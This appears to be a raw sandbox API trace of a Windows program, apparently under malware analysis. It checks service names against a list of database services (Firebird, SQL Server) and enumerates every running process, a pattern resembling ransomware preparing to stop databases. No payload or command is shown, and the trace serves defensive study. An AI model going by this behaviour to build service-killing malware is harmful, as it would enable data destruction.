	[0075.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0075.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0075.403] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0075.403] lstrlenW (lpString="Schedule") returned 8
	[0075.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0075.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0075.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0075.403] lstrlenW (lpString="SecurityHealthService") returned 21
	[0075.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0075.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0075.403] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0075.403] lstrlenW (lpString="SENS") returned 4
	[0075.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0075.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0075.403] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0075.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0075.403] lstrlenW (lpString="ShellHWDetection") returned 16
	[0075.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0075.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0075.404] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0075.404] lstrlenW (lpString="Spooler") returned 7
	[0075.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0075.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0075.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0075.404] lstrlenW (lpString="SSDPSRV") returned 7
	[0075.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0075.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0075.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0075.404] lstrlenW (lpString="StateRepository") returned 15
	[0075.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0075.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0075.404] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0075.404] lstrlenW (lpString="SysMain") returned 7
	[0075.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0075.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0075.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0075.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0075.404] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x562ef8 | out: hHeap=0x500000) returned 1
	[0075.404] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370
	[0075.869] Process32FirstW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0075.869] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0075.870] lstrlenW (lpString="System") returned 6
	[0075.870] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0075.870] lstrlenW (lpString="smss.exe") returned 8
	[0075.870] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0075.871] lstrlenW (lpString="csrss.exe") returned 9
	[0075.871] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0075.871] lstrlenW (lpString="wininit.exe") returned 11
	[0075.871] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0075.872] lstrlenW (lpString="csrss.exe") returned 9
	[0075.872] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0075.872] lstrlenW (lpString="winlogon.exe") returned 12
	[0075.872] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0075.873] lstrlenW (lpString="services.exe") returned 12
	[0075.873] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0075.873] lstrlenW (lpString="lsass.exe") returned 9
	[0075.873] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.874] lstrlenW (lpString="svchost.exe") returned 11
	[0075.874] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0075.874] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0075.874] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0075.875] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0075.875] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.876] lstrlenW (lpString="svchost.exe") returned 11
	[0075.876] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0075.877] lstrlenW (lpString="dwm.exe") returned 7
	[0075.877] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.877] lstrlenW (lpString="svchost.exe") returned 11
	[0075.877] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.878] lstrlenW (lpString="svchost.exe") returned 11
	[0075.878] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.878] lstrlenW (lpString="svchost.exe") returned 11
	[0075.878] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.879] lstrlenW (lpString="svchost.exe") returned 11
	[0075.879] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.879] lstrlenW (lpString="svchost.exe") returned 11
	[0075.879] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.880] lstrlenW (lpString="svchost.exe") returned 11
	[0075.880] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.880] lstrlenW (lpString="svchost.exe") returned 11
	[0075.880] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.881] lstrlenW (lpString="svchost.exe") returned 11
	[0075.881] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.881] lstrlenW (lpString="svchost.exe") returned 11
	[0075.881] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.882] lstrlenW (lpString="svchost.exe") returned 11
	[0075.882] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0075.882] lstrlenW (lpString="spoolsv.exe") returned 11
	[0075.882] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.883] lstrlenW (lpString="svchost.exe") returned 11
	[0075.883] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0075.883] lstrlenW (lpString="audiodg.exe") returned 11
	[0075.883] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0075.884] lstrlenW (lpString="sihost.exe") returned 10
	[0075.884] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0075.884] lstrlenW (lpString="svchost.exe") returned 11
	[0075.884] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0075.885] lstrlenW (lpString="taskhostw.exe") returned 13
	[0075.885] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0075.885] lstrlenW (lpString="explorer.exe") returned 12
	[0075.886] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0075.886] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0075.886] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0075.887] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0075.887] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0075.887] lstrlenW (lpString="Memory Compression") returned 18
	[0075.887] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0075.888] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0075.888] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0075.888] lstrlenW (lpString="SearchUI.exe") returned 12
	[0075.888] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0075.889] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0075.889] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0075.889] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0075.889] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0075.890] lstrlenW (lpString="fur-hold.exe") returned 12
	[0075.890] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0075.890] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0075.890] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0075.891] lstrlenW (lpString="vat.exe") returned 7
	[0075.891] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0075.892] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0075.892] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0075.892] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0075.892] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0075.893] lstrlenW (lpString="paxiltried.exe") returned 14
	[0075.893] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0075.893] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0075.893] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0075.894] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0075.894] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0075.894] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0075.894] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0075.895] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0075.895] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0075.895] lstrlenW (lpString="ride_australian.exe") returned 19
	[0075.895] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0076.230] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0076.230] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0076.231] lstrlenW (lpString="rc remember.exe") returned 15
	[0076.231] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0076.231] lstrlenW (lpString="records replace.exe") returned 19
	[0076.231] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0076.232] lstrlenW (lpString="isp physiology.exe") returned 18
	[0076.232] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0076.232] lstrlenW (lpString="feb.exe") returned 7
	[0076.232] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0076.233] lstrlenW (lpString="citizenship.exe") returned 15
	[0076.233] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0076.233] lstrlenW (lpString="wifi.exe") returned 8
	[0076.234] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0076.234] lstrlenW (lpString="3dftp.exe") returned 9
	[0076.234] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0076.235] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0076.235] Process32NextW (in: hSnapshot=0x370, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
